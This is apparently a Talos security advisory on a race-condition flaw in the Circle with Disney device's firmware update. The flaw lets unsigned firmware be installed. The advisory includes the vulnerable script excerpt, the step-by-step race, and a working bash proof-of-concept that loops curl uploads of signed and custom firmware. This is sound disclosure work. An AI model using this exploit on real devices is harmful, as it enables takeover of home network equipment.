Lucene search

K
talosTalos IntelligenceTALOS-2017-0405
HistoryOct 31, 2017 - 12:00 a.m.

Circle with Disney Firmware Update Signature Check Bypass Vulnerability

2017-10-3100:00:00
Talos Intelligence
www.talosintelligence.com
43

CVSS2

8.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:S/C:C/I:C/A:C

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.001

Percentile

48.2%

Summary

An exploitable vulnerability exists in the signature verification of the firmware update functionality of Circle with Disney. Specially crafted network packets can cause an unsigned firmware to be installed in the device resulting in arbitrary code execution. An attacker can send a series of packets to trigger this vulnerability.

Tested Versions

Circle with Disney 2.0.1

Product URLs

<https://meetcircle.com/&gt;

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Details

Circle with Disney is a network device used to monitor internet use of children on a given network.

Circle provides an API command to update its firmware, which is usually used by the “Circle Home App” installed on the device administrator’s phone.

The API command is “/api/UPLOAD_FIRMWARE” and is handled by the apid binary in function sub_417528. At high level, the function works as follow:

if "/api/UPLOAD_FIRMWARE" in url_string
    if substr(source_ip, 10) != "10.123.234"
        return "Bad source address in multipart post"
    save_postfilebin()
    if check_token()
        if system("/mnt/shares/usr/bin/scripts/install_firmware.sh /tmp/postfile.bin")
            system("/mnt/update_firmware.sh &")

The function ensures that the request comes from the network “10.123.234”, then saves the uploaded firmware to “/tmp/postfile.bin” and continues the update using shell scripts.

The “install_firmware.sh” contains the following code:

#!/bin/sh
...
CIRCLE_ROOT=`cat /tmp/CIRCLE_ROOT`
if [ -s $1 ]; then
        cd /mnt;
        rm -f update_firmware.sh;
        rm -f /mnt/firmware.bin;
        cp -f $1 /mnt/firmware.bin
        if  [ -f /mnt/firmware.bin ] ; then
                mount -o remount,rw,noatime,nodiratime /dev/sda3 /mnt #remount to remove sync
                aescrypt -d -o /mnt/firmware.tar.gz /mnt/firmware.bin
                $CIRCLE_ROOT/fwverify /mnt/firmware.tar.gz &gt; /tmp/tmp.out || exit 1;
                grep "Verified signature" /tmp/tmp.out &gt; /dev/null  || exit 1
                gunzip -c /mnt/firmware.tar.gz | tar xf -
                rm -f /mnt/firmware.tar.gz
...

First the firmware is decrypted using aescrypt resulting in a tar archive with a 0x200 bytes signature at its end. Then this archive is verified using fwverify and if the output contains “Verified signature” then the archive is extracted in “/mnt”, allowing for overwriting most of the device binaries.

aescrypt performs a symmetric AES encryption and can be used by an attacker to create custom firmware images by using the switch “-e” in place of “-d”. Moreover, since the signature verification and the update operations are not executed atomically, a race condition exists which could allow an attacker to supply an unsigned firmware that will be flashed without verification ([A] and [B] are used to refer to two parallel requests):

1- [A] Attacker sends an original and correctly signed firmware image
2- [A] aescrypt decrypts the image in /mnt/firmware.tar.gz
3- [A] fwverify reads /mnt/firmware.tar.gz and starts the verification process

4- [B] Attacker sends a custom, non signed firmware image
5- [B] aescrypt decrypts the image in /mnt/firmware.tar.gz

6- [A] fwverify completes the verification process, which outputs "Verified signature"
7- [A] grep succeeds and /mnt/firmware.tar.gz (from request B) is extracted in /mnt

Exploit Proof-of-Concept

The following proof of concept shows how to load an arbitrary unsigned firmware “firmware.cust.bin”. An original, signed, firmware must exist as “firmware.orig.bin”. An attacker needs to be able to send requests from a “10.123.234” IP address (e.g. by spoofing the local network dhcp server responses) and use a valid token in order to trigger the vulnerability.

#!/bin/bash

sIP=10.123.234.227
sToken="&lt;fill with valid token&gt;"
sAppid="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
cmd="curl -m20 -k https://$sIP:4567/api/UPLOAD_FIRMWARE -F 'token=${sToken}' -F 'appid=${sAppid}' -F upload=@"
while true; do
  ${cmd}firmware.orig.bin &
  sleep 4
  ${cmd}firmware.cust.bin
done%  

Timeline

2017-08-30 - Vendor Disclosure
2017-10-31 - Public Release

CVSS2

8.5

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:S/C:C/I:C/A:C

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS

0.001

Percentile

48.2%

Related for TALOS-2017-0405